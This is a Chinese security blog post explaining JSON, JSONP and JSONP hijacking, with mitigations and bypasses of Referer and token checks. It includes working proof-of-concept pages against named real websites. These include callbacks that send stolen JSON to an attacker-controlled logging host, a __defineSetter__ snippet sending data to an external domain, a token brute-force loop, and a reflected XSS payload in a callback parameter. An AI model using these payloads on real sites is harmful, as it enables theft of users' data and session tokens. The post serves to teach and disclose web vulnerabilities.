对jsonp劫持的一次简单了解

0x01

jsonp劫持算是一个老漏洞,我老早就想总结一下来着,但是懒所以没弄,最近正好兴趣上来了,就整理整理下把。

首先了解jsonp得先大概的了解下json。

json全称为JavaScript Object Notation(JavaScript 对象表示法) ,

它的数据样式为:

1
{"name" : "shiyan","age" : "23"}

正常的运用写法是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>shiyan</title>
</head>
<body>
<h2>测试页面</h2>
<p>
name: <span id="id"></span><br />
age: <span id="ids"></span><br />
</p>
<script>
var json= {"name" : "shiyan","age" : "23"};

document.getElementById("id").innerHTML=json.name
document.getElementById("ids").innerHTML=json.age
</script>
</body>
</html>

显示结果为:

1
2
3
测试页面
name: shiyan
age: 23

这样可以很明显的看出来,json数据类似python中的字典形式,然后通过id的形式来把json数据给展现到页面中来。

0x02

那jsonp又是什么?

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。

因为同源策略的机制,a.com 是肯定无法直接调用 b.com 的一些资源,但是某些标签的 src 属性却是可以用来调用,而 jsonp 正好就是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。

这里我直接贴一下菜鸟教程的jsonp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

我们来看一下调用的那个json内容:

1
callbackFunction(["customername1","customername2"])

可以看到jsonp的代码和json的代码差不多,只不过,jsonp是远程调用其他域的资源,而非本地址的资源。

然后这里我们发现 jsonp.php?jsoncallback=callbackFunction ,的在原网页地址设置的函数和远程调用的函数名是一样的,而且是可控的,因为历史遗留问题,也就是没有考虑安全性的问题,所以,这里一般都是直接输出的函数名,所以存在了一个XSS漏洞。

参考同城SRC的公开漏洞:

  1. 一处反射xss

https://sec.ly.com/bugdetail?id=109183011063180168129144071152070249236140004001

  1. 五个反射xss

https://sec.ly.com/bugdetail?id=160019210078172049237177024140152018216063068153

0x03

上面的是一个简单的了解json和jsonp的章节,然后jsonp劫持又是一个什么样的漏洞了?

它和json劫持类似,其实整体而言,它们都是属于json劫持的范围。

当某网站通过跨域来获取其他站的json的敏感数据时,如果没有对来源地址进行一定的限制,容易被攻击者构造成一个恶意页面来获取当前用户的敏感形信息。

这是一个正常的获取信息的流程图:

这是我们的恶意攻击流程图:

具体的漏洞演示代码为:

1
2
3
4
5
6
7
8
9
10
<html>
<script>
function jsonp2(json){
alert(JSON.stringify(json))
}
</script>

<script src="https://m.zongheng.com/h5/ajax/chapter?bookId=423887&chapterId=7110200_2&callback=jsonp2"></script>

</html>

其中 JSON.stringify 的意思是把传递的参数转换为一个字符串。

如果没有对请求地址进行效验,那就会直接以弹窗的形式弹出数据。

具体攻击时的代码,我暂时只想开了一个加载远程图片的形式,最后我们再查看服务器日志来获取敏感信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP Exploit</title>
</head>
<body>
<script>
function jsoncallback(json){
new Image().src="http://127.0.0.1/jsonp/" + JSON.stringify(json)
alert(JSON.stringify(json))
}
</script>
<script src="http://sapi.beibei.com/resource/utm_source.html?callback=jsoncallback"></script>
</body>
</html>

然后我们可以通过搜索服务器日志中那个目录的关键词,来整体出获取的敏感数据,其实,还可以其他更多的写法,只是我 js 代码水平太渣了,所以暂时就先弄这个替补着吧。

当然也可以用一些异步加载(AJAX)的方法,然后通过一些脚本语言,比如PHP接受到AJAX传递过来的data,然后保存到本地数据。

方法还是很多的,这个利用全靠经验了。

0x04

目前针对这样的漏洞的修复方法为判断 Referer 来源地址,还有设置随机 token 来防御,不过这样的方法还是存在一定的绕过性,比如:

来源地址限制为 qq.com ,我们可以购买一些 qq.com.sh1yan.top ,这样的类似绕过ssrf 的方法来同等绕过。

还有一个空 Referer 的绕过法,比如当浏览器直接访问某地址的时候,是不带 Referer 的,是为空的,比如 <iframe> 标签。

至于随机的 token,如果存在规律性,可爆破性,还是很在很大的绕过性的。

1
2
3
4
5
6
7
function _Callback(o){
2. alert(o.items[0].uin);
3.}
4.for(i=17008;i<17009;i++){ //暴力循环调用
5. getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="+i);
6.}
// 参考代码

0x05

除了本身的获取数据来,还可以有更多的应用范围。

  1. 挖一些各大大厂的jsonp接口,然后制作一个 JSONP探针,来探测一些信息。
  2. 或者,emmm ,暂时想不开,,略过。。。

它的本身如果被利用起来,比如组合攻击,这里举例一个利用jsonp劫持来获取token,然后进行XSS的蠕虫的案例。

http://docs.ioin.in/writeup/www.leavesongs.com/_HTML_sina_jsonp_hijacking_csrf_worm_html/index.html

0x06

上面我提到一个json劫持,当时我以为 json劫持和jsonp劫持是同一个的,但是再仔细的看了看一些文档后,还是有一些差异的。

访问页面:

1
http://sh1yan.top/administrator

然后页面返回数据:

1
{"Id":1,"Name":shiyan,"Money":123456}

我们的恶意代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 下面这个代码是我直接复制粘贴的,然后也没用的代码 = =!对,没啥用!

<script type="text/javascript">
Object.prototype.__defineSetter__('money', function(obj) {
var req = new XMLHttpRequest();
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
req.open("GET", "http://sh1yan.win/?json=" +escape(objString),true);
}
req.send(null);
);
</script>
<script type="text/javascript" src="http://sh1yan.top/administrator"></script>

其中主要的函数为Object.prototype.__defineSetter__(),Object.prototype 这个不多解释,因为这个就是对象本身,而 __defineSetter__() 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性被赋值时,你所绑定的函数就会被调用。

它的语法为 obj.defineSetter(prop, fun) ,prop为一个字符串,表示指定的属性名。fun是一个函数,具体啥用法,我也不解释了,反正我也迷迷糊糊的。因为这个函数已经,,,,,

非标准 该特性是非标准的,请尽量不要在生产环境中使用它!

已废弃 该特性已经从 Web 标准中删除,虽然一些浏览器目前仍然支持它,但也许会在未来的某个时间停止支持,请尽量不要使用该特性。

是的,这个已经被大多数浏览器所废弃了。。。

0x07

最后甩一个游侠网的因为使用了jsonp也没限制请求头也没过滤callback的参数URL地址,如果不管用了,那就就是修复了。

1
2
3
4
5
6
7
8
9
10
11
<html>
<script>
function jsonp2(json){
alert(JSON.stringify(json))
document.write(JSON.stringify(json))
}
</script>

<script src="http://i.ali213.net/api.html?action=logout&callback=jsonp2"></script></br>
<a>XSS漏洞地址:</a><a href="http://i.ali213.net/api.html?action=logout&callback=a<script>alert(1)</script>a" target="_blank">请点击!</a>
</html>

参考文档:

1.http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html

2.http://blog.51cto.com/jzking121/1306505

3.https://forum.90sec.org/forum.php?mod=viewthread&tid=10529&highlight=json

4.http://docs.ioin.in/writeup/www.leavesongs.com/_HTML_sina_jsonp_hijacking_csrf_worm_html/index.html

5.https://blog.csdn.net/zxcvbmasdfhqwertyiop/article/details/78311041


对jsonp劫持的一次简单了解
https://sh1yan.top/2018/08/12/jsonp-study/
作者
shiyan
发布于
2018年8月12日
许可协议